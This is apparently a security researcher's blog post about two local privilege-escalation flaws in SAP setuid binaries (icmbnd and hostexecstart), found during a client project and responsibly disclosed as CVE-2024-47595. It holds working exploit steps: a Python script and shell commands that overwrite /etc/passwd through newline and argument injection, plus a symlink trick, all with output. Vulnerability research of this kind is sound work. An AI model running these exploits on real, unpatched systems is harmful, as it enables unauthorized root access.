By Tao Sauvage
SAP setuid
It's not every day you get a chance to one-up your CTO and co-founder of the company you work for. In 2020, Vincent Berg published a blog post describing a vulnerability he found affecting an SAP setuid
binary while preparing for a client project. Combined with an insecure NFS configuration, he was able to compromise a dozen UNIX machines during that client engagement.
Last year, I was assigned to a new SAP-related project for the same client. I made it a personal goal to find two 0-day vulnerabilities (one more than Vincent) in the SAP software used by the client. It was a success, with CVE-2024-47595 assigned by SAP for both issues! Along the way, I learned about SAP internals, SAR archives, and even wrote a utility tool that I'm releasing today: SAPCARve.
The vulnerabilities I found were also local privilege escalations from sapsys
to root
affecting setuid
binaries. Considering that sapsys
is already a privileged SAP user, the impact was rightfully rated as Medium by SAP (CVSS v3.1 score of 6.3).
Let's go through this step by step, from initial recon to root shell, and see how the vulnerabilities unfolded.
Reconnaissance
Following Vincent's trodden path, I enumerated all setuid
binaries that my user could access on the client's server. A setuid
binary on Linux runs with the privileges of its file owner (in this case, root) rather than the current user, making them attractive targets for privilege escalation.
The enumeration revealed four potential targets (after removing the duplicates):
-rwsr-x---. 1 root sapsys 4.0M May 9 04:52 /usr/sap/hostctrl/exe/hostexecstart -rwsr-x---. 1 root sapsys 3.7M May 9 04:52 /usr/sap/hostctrl/exe/sapuxuserchk -rwsr-x--- 1 root sapsys 2.4M May 7 2023 /usr/sap/ABC/D00/exe/sapuxuserchk -rwsr-x--- 1 root sapsys 3.1M Jun 21 13:16 /usr/sap/ABC/D00/exe/icmbnd -rwsr-x--- 1 root sapsys 2.7M Jun 11 2020 /usr/sap/DEF/SYS/exe/uc/linuxx86_64/icmbnd -r-sr-x--- 1 root sapsys 63M Dec 18 2023 /usr/sap/ABC/D00/exe/mdc/hdbmdcdispatcher
Considering the limited time window for the project, I quickly excluded the following binaries:
-
hdbmdcdispatcher
as it was exploited by Vincent in his blog post -
sapuxuserchk
as it was already covered by CVE-2022-29614
That left icmbnd
and hostexecstart
, neither of which had any known CVEs or public exploits.
I downloaded the SAP HANA Express VM and configured a local environment where I could more easily analyze and debug the binaries, without risking damage to the client's infrastructure. I manually copied icmbnd
to the VM as it was not included by default, and reconfigured its UNIX permissions to restore the setuid bit. Fortunately, it ran out of the box with no glibc version mismatch or other issues.
Note that the default hxeadm
user can already execute any commands using sudo
without a password on the VM:
hxeadm:hxeadm> sudo -l [ snip ] User hxeadm may run the following commands on hxehost: (ALL) NOPASSWD: ALL (ALL) NOPASSWD: ALL
However, this was not the case on the client's server so for our purposes, we'll ignore this and assume that the user cannot run commands using sudo
.
Target 1: icmbnd
Looking at the usage message from icmbnd
, we could specify the name of the trace file:
hxehost:hxeadm> /usr/sap/ABC/D00/exe/icmbnd -h Usage: icmbnd <options> with the following options: -v[ersion] display version info and exit -S <ServerPort> listen port of the controlling program (eg. icman) -H <hostname> hostname to bind port to (default: all names) -l <port for listen> servicename or portnumber -p <protocol> protocol to use (HTTP, HTTPS, SMTP) -i <virt host idx> index of the virtual host(default: -1) -k <keep_alive_timeout> keep alive timeout for this port -K <proc_timeout> Processing timeout for this port -c verify_client <val> SSL client verification option (0,1,2) -t <trace_level> tracelevel (default:1) -f <trace_file>] name of the tracefile (default: dev_icmbnd) -apptrc append to existing tracefile
Considering that icmbnd
runs with the privileges of root, it could be possible to have the trace file point to a protected file and overwrite it. A quick check confirms our hypothesis:
hxehost:hxeadm> /usr/sap/ABC/D00/exe/icmbnd -S 6668 -l 6669 -p HTTP -f /etc/passwd IcmBndConnect: IcmConnect to port 6668 failed (rc=-10) icmbnd: IcmBndConnect (rc=-10) hxehost:hxeadm> ls -alh /etc/passwd -rw-r--r-- 1 root sapsys 1.2K June 17 16:58 /etc/passwd
The file /etc/passwd
was overridden with the trace message generated by the binary. Looking at ways to exploit it (aside from the obvious Denial-of-Service), I considered injecting a new line into /etc/passwd
for a new user with root privileges.
While chatting with Vincent, he mentioned that the parsing of /etc/passwd
is fairly robust in the sense that it will ignore invalid entries. As long as the output of icmbnd
contains a valid entry, I could inject a new user. I chose to reuse my user and change its group ID to 0, therefore assigning it to the root group ID.
Now the question remains: how to inject a new line? Using Ghidra, I checked how icmbnd
was validating the parameters and didn't see much, if any, validation. For instance, the -l
option supports both port numbers and service names.
A quick dynamic check confirms that I can insert a new line in the service name, which is reflected in the trace file. Just what I need.
hxehost:hxeadm> cat run.py import os bin2run = '/usr/sap/HXE/HDB90/SYS/exe/uc/linuxx86_64/icmbnd' # Patching GID for hxeadm in /etc/passwd passwd = open('/etc/passwd', 'r').read() patched_passwd = passwd.replace('hxeadm:x:1001:79', 'hxeadm:x:1001:0') os.execvp( bin2run, [ bin2run, '-S', '6668', '-l', f'6669\n{patched_passwd}\n', '-p', 'HTTP', '-f', '/etc/passwd' ]) hxehost:hxeadm> python3 run.py icmbnd: NiListen failed for 6669 [ snip ] wwwrun:x:30:8:WWW daemon apache:/var/lib/wwwrun:/bin/false hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false (rc=-8): NIEINVAL IcmBndConnect: IcmConnect to port 6668 failed (rc=-10) icmbnd: IcmBndConnect (rc=-10)
Checking the content of the /etc/passwd
file, we can see our injected entry with hxeadm
assigned GID 0:
hxehost:hxeadm> cat /etc/passwd --------------------------------------------------- trc file: "passwd", trc level: 1, release: "753" --------------------------------------------------- [ snip ] [Thr 139669455066944] [Thr 139669455066944] *** WARNING => NiServerHandle: parameter invalid (strlenU(pServName) >= NI_MAX_SERVNAME_LEN) [nixx.c 263] [Thr 139669455066944] *** ERROR => icmbnd: NiListen failed for 6669 at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash [ snip ] hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false (rc=-8): NIEINVAL [icxxbnd.c 620] [ snip ]
By starting a new session with SSH for example, we confirm our new privileges:
hxeadm@hxehost:/usr/sap/HXE/HDB90> id uid=1001(hxeadm) gid=0(root) groups=0(root),16(dialout),33(video),1000(hxeshm)
Target 2: hostexecstart
The first target was a quick win. Then I checked hostexecstart
, which proved trickier to exploit.
Looking at the usage message for hostexecstart
, the target only supports a limited number of parameters. And only one that accepts a value we can control:
hxehost:hxeadm> /usr/sap/hostctrl/exe/hostexecstart -h usage: hostexecstart [option] option: -start: start the SAPHostAgent if not running. -restart: stop SAPHostAgent if running, and restart it. -status: return the status of SAPHostAgent (running/stopped) -upgrade <archive>: upgrade SAPHostAgent using the SAR archive <archive>
The start
, restart
, and status
options might be vulnerable to race conditions, for example. Still, I thought that the upgrade
option was more interesting because it accepts an archive path we can control.
I thought: why not just create a SAR archive that contains a backdoor and feed it to hostexecstart
? There is just one minor (well, major) hurdle: the SAR archive is signed and its signature is verified before extracting any file.
Before I go into more details about what SAR archives are and how they are signed, let's see how the archive path is used by hostexecstart
.
The archive path is first passed to another binary named saphostexec
, which builds the following command:
/usr/sap/hostctrl/exe/saphostexec -upgrade -archive <archive> -verify
I checked whether it was possible to control where saphostexec
was loaded from but it was a dead end. hostexecstart
relies on argv[0]
to retrieve the current directory. We could fake that with a wrapper script that changes the value of argv[0]
and point to an arbitrary location. However, hostexecstart
then checks that the binary and its directory are owned by root
, which I couldn't bypass.
saphostexec
then builds one final command to call the SAPCAR
binary:
/usr/sap/hostctrl/exe/SAPCAR -manifest "/usr/sap/hostctrl/work/archive/SIGNATURE.SMF" -V -xfvs <archive> -R "/usr/sap/hostctrl/work/archive"
Bear in mind that the commands are not executed in a shell environment so it's not possible to chain bash commands (e.g. using && id
) or use command substitutions (e.g. using $(id)
).
Let's break down the final command:
-
R
: Use the/usr/sap/hostctrl/work/archive
directory as the working directory (e.g., where to extract the files), rather than the current directory -
V
: Enable signature validation -
x
: Perform the extract operation -
v
: Be verbose -
s
: Check if there is enough free space for the extraction to succeed -
manifest
: Check the signature of the manifest specified in the path
The only check performed on the archive
path is that the file exists. No other validation. So it is possible to inject parameters that will be processed by SAPCAR
. The only restriction is that it cannot contain any forward slashes (the only character forbidden in UNIX file names).
Going back to the usage message, one parameter stood out:
-L FILE : use security library FILE for signature operations (default: libsapcrypto.so)
With -L
we can load our own library and bypass the signature validation. Exactly what we're looking for. Unfortunately, this was another dead end.
When specifying -L
, SAPCAR
uses dlopen
to load the library. Remember, we can't have any slashes in our injected parameters so at best, we can inject -L libdummy.so
(but not -L ./libdummy.so
). SAPCAR
looks in standard system directories like /lib64/
and /usr/lib64/
, but not in our current directory. We can't plant it in SAPCAR
's directory because it is owned by root and we can't use the LD_LIBRARY_PATH
environment variable because setuid
binaries ignore it. So close and yet so far...
I thought, OK, how hard can it be to sign my own SAR archive? Well, even to this day I've been unable to sign my own. If anyone has figured it out, I'd love to hear about it! Below is my attempt.
Signing SAR archives
Let's go down the rabbit hole together and learn more about SAR. The SAR format is a proprietary archive file format developed by SAP. The SAPCAR
utility tool can be used to create and extract SAR archives.
$ SAPCAR -tvf test.sar SAPCAR: processing archive test.sar (version 2.01) -rwxrwxrwx 5 27 Mar 2025 15:19 test.txt -rwxrwxrwx 9 27 Mar 2025 15:21 test2.txt
The file format has a fairly simple structure of blocks, each containing a compressed chunk of data, which was previously reversed and documented by others. Each file contains metadata such as the file name, its permissions, and its timestamp, among others. There is a tool in the OWASP pysap project to create and parse SAR files.
SAPCAR
also allows for signing SAR archives. I did not find much public documentation on that topic. From what I gathered using Ghidra and GDB, the signature is implemented as follows:
- A manifest file is created that contains metadata and a list of digests / filenames (e.g. the SHA256 hash for the file 'test.txt' in the archive)
- The manifest is then signed using
PKCS7-TSTAMP
and SAP's CommonCrypto library, which generates a signature using the PKCS #7 standard with a trusted timestamp from a Time Stamp Authority (TSA) (see: RFC 3161)
Below is an example of such a manifest from an official, signed SAR archive provided by SAP:
SAP-MANIFEST Version: 1.0 Hash: SHA256 Signature: PKCS7-TSTAMP Body: Digest | Name-Length | Name c6e9fb02ab59e7580fcaea6c37ae6ae6f6f5151d4ca8843659a649670fa2f6ee 000a patches.mf a19098e76e675b2bd1269fa6e44042d71a411019dd3ac56a3487c65408a39ee5 0002 tp -----BEGIN SIGNATURE----- [ snip ] -----END SIGNATURE-----
When reading the usage message from SAPCAR
, it lists the following command to sign a SAR file, which is exactly what we're looking for:
sign an existing archive: SAPCAR -Svf MY.SAR [-L library] [-key PSE] [-pwd PSE PIN] [-H algorithm]
I generated a dummy PSE using sapgenpse
. However, the SAPCAR
command resulted in the following error:
SAPCAR: No timestamp authority set
Using Ghidra, I found a -tsaurl
parameter that is not listed in the usage message. However, once again, it failed:
$ SAPCAR -key test.pse -tsaurl http://freetsa.org/tsr -Svf test.sar SAPCAR: error in signature verification (error 60). SSF-RC: SSF_API_OK Detail: SsfErrorName(5) == "SSF_API_SIGNER_ERRORS", SsfErrorDescription(5) == "A signing operation could not be performed or failed", Last error from SAPCRYPTOLIB: "A signing operation could not be performed or failed" <-- SsfLibAddTimeStampResp() == 5
The error message was not clear to me. Setting the SAPMANIFEST_TRACELEVEL=3
environment variable, SAPCAR
will generate a trace stored in dev_sapmanifest.trc
:
[ snip ] CCL[VERIFY]: Certificate verification result (failed) ----- BEGIN VERIFICATION RESULT ----- # --- Messages ----------- INFO: Verification time - Fri Mar 28 15:04:42 2025 ERROR: The verified certificate chain is complete but no certificate is trusted. [ snip ]
Despite adding the CAs to my PSE to be trusted, it still failed. I came to understand that only a CA trusted by SAP can be used to sign SAR archives. And I could not find any publicly accessible information related to SAP's TSA service and how to use it. It might be a service that only SAP is allowed to use for all I know.
Manipulating SAR archives
At this point, I decided to find other ways to abuse the argument injection. If I could not sign my own SAR archive, maybe I could tamper with a legitimate one?
The pysap
project only supports Python2 and the tool for SAR archive was too limited for my tests. So, as mentioned and linked in the introduction, I wrote my own tool for parsing and manipulating SAR archives: SAPCARve
- I wrote a Kaitai Structure for SAR files and used their serialization guide to store the modified SAR files back on the disk.
- It also reuses the
pysapcompress
Python binding for SAP's compression/decompression library that I (or more precisely Claude 3.7) ported to Python 3.
SAPCARve
provides some handy commands to manipulate SAR archives:
$ python3 SAPCARve.py -h usage: SAPCARve.py [-h] sar {list,extract,add,delete,swap,rename,chmod,merge} ... SAPCAR manipulation tool positional arguments: sar Path to the .sar (or .car) archive {list,extract,add,delete,swap,rename,chmod,merge} list List content of the archive extract Extract a file from the archive add Add a file/symlink/directory to the archive (file, sym, dir respectively) delete Delete a block inside the archive swap Swap two blocks inside the archive rename Rename a file inside the archive chmod Change the permission of a file inside the archive merge Merge two SAR archives by appending blocks from one to the other options: -h, --help show this help message and exit
I performed several tests against a legitimate SAR archive signed by SAP:
- Delete the
SIGNATURE.SMF
manifest - Extract the
SIGNATURE.SMF
manifest and try to change the SHA256 it contained or remove its signature - Append a new file before or after the
SIGNATURE.SMF
blocks - Append a file with the same name as a file already in the archive, before and after the original file
Each of these caused the signature validation to fail. For instance, when appending a new file to the signed archive, SAPCAR
returned the following error:
$ SAPCAR -V -xvf test.sar SAPCAR: processing archive test.sar (version 2.01) x patches.mf x test x tp SAPCAR: error during certificate revocation check (error 61). SSF-RC: SSF_API_OK Detail: CRL missing. Download and use CRL from https://tcs.mysap.com/crl/crlbag.p7s File >test< was not found in manifest
Seeing the file name 'test' reflected in the response, you may have déjà vu from icmbnd
. And indeed, a quick test confirmed that file names can contain any character, including new lines.
To exploit this, we can use the -e
option to redirect the output to sapcar_output
. We also create a symbolic link from sapcar_output
to our target file /etc/passwd
and inject our modified content:
-e : redirect output from stdout to file sapcar_output
To prepare the malicious SAR file, I used SAPCARve
to rename a file inside the legitimate SAR archive with the content of the /etc/passwd
file, patched to set my GID to 0:
$ python3 SAPCARve.py test.sar rename 0 "aaaa > $(cat passwd_patched) > # bbbb" SAR archive version: 2.01 Number of files: 3 0: -rwxrwxr-x 300 aaaa at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash [ snip] hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false # bbbb 1: -rwxrwxr-x 10575444 tp 2: drw------- 4922 SIGNATURE.SMF
On the server, we place our malicious newline.sar
archive in a directory, create the symbolic link and create a file containing our injected options (remember that hostexecstart
checks if the file exists):
hxehost:hxeadm> ln -s /etc/passwd ./sapcar_output # This filename injects -e as parameter into SAPCAR to enable file overwrite. # The -y option is used to consume the remaining options appended by `saphostexec` hxehost:hxeadm> touch 'newline.sar" -e -y '
Finally, we call hostexecstart
to trigger the exploit:
hxehost:hxeadm> /usr/sap/hostctrl/exe/hostexecstart -upgrade 'newline.sar" -e -y ' Executing: /usr/sap/hostctrl/exe/saphostexec -upgrade -archive newline.sar" -e -y -verify in /hana/shared/HXE/HDB90 Upgrade service Files authenticity will be verified Extracting archive ExtractHostagentSAR: Executing: "/usr/sap/hostctrl/exe/SAPCAR" -manifest "/usr/sap/hostctrl/work/archive/SIGNATURE.SMF" -V -xfvs "/hana/shared/HXE/HDB90/newline.sar" -e -y ," -R "/usr/sap/hostctrl/work/archive" [WARNING] ExtractHostagentSAR exit with status 61 [OK] ExtractHostagentSAR: Archive directory '/usr/sap/hostctrl/work/archive' added to delete list. [ERROR] Extract Archive failed.
As expected, the extraction failed but the content of /etc/passwd
now includes the output of SAPCAR
:
hxehost:hxeadm> cat /etc/passwd SAPCAR: processing archive /hana/shared/HXE/HDB90/newline.sar (version 2.01) SAPCAR: error during certificate revocation check (error 61). SSF-RC: SSF_API_OK Detail: CRL missing. Download and use CRL from https://tcs.mysap.com/crl/crlbag.p7s File >aaaa at:x:25:25:Batch jobs daemon:/var/spool/atjobs:/bin/bash [ snip ] hxeadm:x:1001:0:SAP HANA Database System Administrator:/usr/sap/HXE/home:/bin/bash sapadm:x:488:79:SAP Local Administrator:/home/sapadm:/bin/false # bbbb< was not found in manifest
We can confirm once again our new privileges by starting a new session:
hxeadm@hxehost:/usr/sap/HXE/HDB90> id uid=1001(hxeadm) gid=0(root) groups=0(root),16(dialout),33(video),1000(hxeshm)
Conclusion
It was an interesting challenge to try and one-up my CTO and co-founder of Anvil Secure during the client's project. In addition to covering the original scope, I was able to dig into the SAP software and discovered and exploited two 0-day vulnerabilities to gain root access.
With our client's approval, we initiated a coordinated vulnerability disclosure process on their behalf with SAP. A couple of months later, SAP confirmed that a patch was available for their customers and assigned CVE-2024-47595
for both issues.
This kind of work (digging deep, getting lost in rabbit holes, solving puzzles, and building tools) is my favorite part of being a security engineer. It's where creative thinking shines.
I like it so much that, when preparing this blog post, I decided to redo a couple of tests to tie up loose ends. And then more tests... And oh, what is that? That looks interesting. Let's dive into this new rabbit hole. And that one. And I have now started yet another coordinated vulnerability disclosure process with SAP with a new batch of vulnerabilities. So... to be continued?
About the Author
Tao Sauvage is a Principal Security Engineer at Anvil Secure. He loves finding vulnerabilities in anything he gets his hands on, especially when it involves embedded systems, reverse engineering and code review.
His previous research projects covered mobile OS security, resulting in multiple CVEs for Android, and wind farm equipment, with the creation of a proof-of-concept “worm” targeting Antaira systems.
He used to be a core developer of the OWASP OWTF project, an offensive web testing framework, and maintain CANToolz, a python framework for black-box CAN bus analysis.